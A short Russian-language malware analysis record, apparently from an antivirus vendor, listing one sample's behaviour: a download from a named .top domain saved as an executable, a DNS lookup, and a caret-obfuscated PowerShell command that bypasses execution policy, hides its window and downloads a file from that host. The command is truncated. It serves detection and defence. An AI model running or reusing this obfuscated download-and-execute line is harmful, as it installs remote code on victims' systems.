Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://truthforeyoue.top/search.php как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /c "P^OwErS^hELL.E^Xe -e^xEC^U^TI^o^N^pO^l^i^cY^ byp^A^SS -nopRO^FI^LE -Wi^nDOws^tY^le HidDe^n ^(New-^OB^Je^cT^ S^ysT^em.^NeT.^WebcLI^E^n^t).do^wnLo^A^DFI^Le(^'http://truthforeyoue.to...
Сетевая активность
UDP
- DNS ASK tr####oreyoue.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c "P^OwErS^hELL.E^Xe -e^xEC^U^TI^o^N^pO^l^i^cY^ byp^A^SS -nopRO^FI^LE -Wi^nDOws^tY^le HidDe^n ^(New-^OB^Je^cT^ S^ysT^em.^NeT.^WebcLI^E^n^t).do^wnLo^A^DFI^Le(^'http://truthforeyoue.to...' (со скрытым окном)
